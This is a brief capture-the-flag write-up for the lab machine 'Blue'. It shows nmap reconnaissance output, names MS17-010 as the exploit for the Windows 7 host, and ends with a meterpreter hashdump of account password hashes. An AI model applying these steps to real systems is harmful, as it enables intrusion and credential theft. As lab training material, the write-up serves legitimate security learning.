Zumpyx Blog

Blue

Machines#51EasyWindows

Recon

export IP=10.10.10.40

  • nmap -sC -A -p- --min-rate 1000 -T4 $IP
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows 7 or Windows Server 2008 R2 (97%), Microsoft Windows Server 2008 R2 SP1 (96%), Microsoft Windows Server 2008 SP1 (96%), Microsoft Windows 7 (96%), Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1 (96%), Microsoft Windows Vista or Windows 7 SP1 (96%), Microsoft Windows Vista SP1 - SP2, Windows Server 2008 SP2, or Windows 7 (96%), Microsoft Windows Vista SP2, Windows 7, or Windows 7 SP1 (96%), Microsoft Windows Vista SP0 or SP1 (96%), Microsoft Windows 7 Enterprise SP1 (96%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-01-09T08:07:44+00:00
|_clock-skew: mean: 3s, deviation: 2s, median: 1s
| smb2-time: 
|   date: 2024-01-09T08:07:43
|_  start_date: 2024-01-09T03:24:10
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Shell as Root

Windows 7 + 题目的 Blue = MS17-010

Pasted+image+20240109165443.png

Hash Dump

meterpreter > hashdump
---
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cdf51b162460b7d5bc898f493751a0cc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
haris:1000:aad3b435b51404eeaad3b435b51404ee:8002bc89de91f6b52d518bde69202dc6:::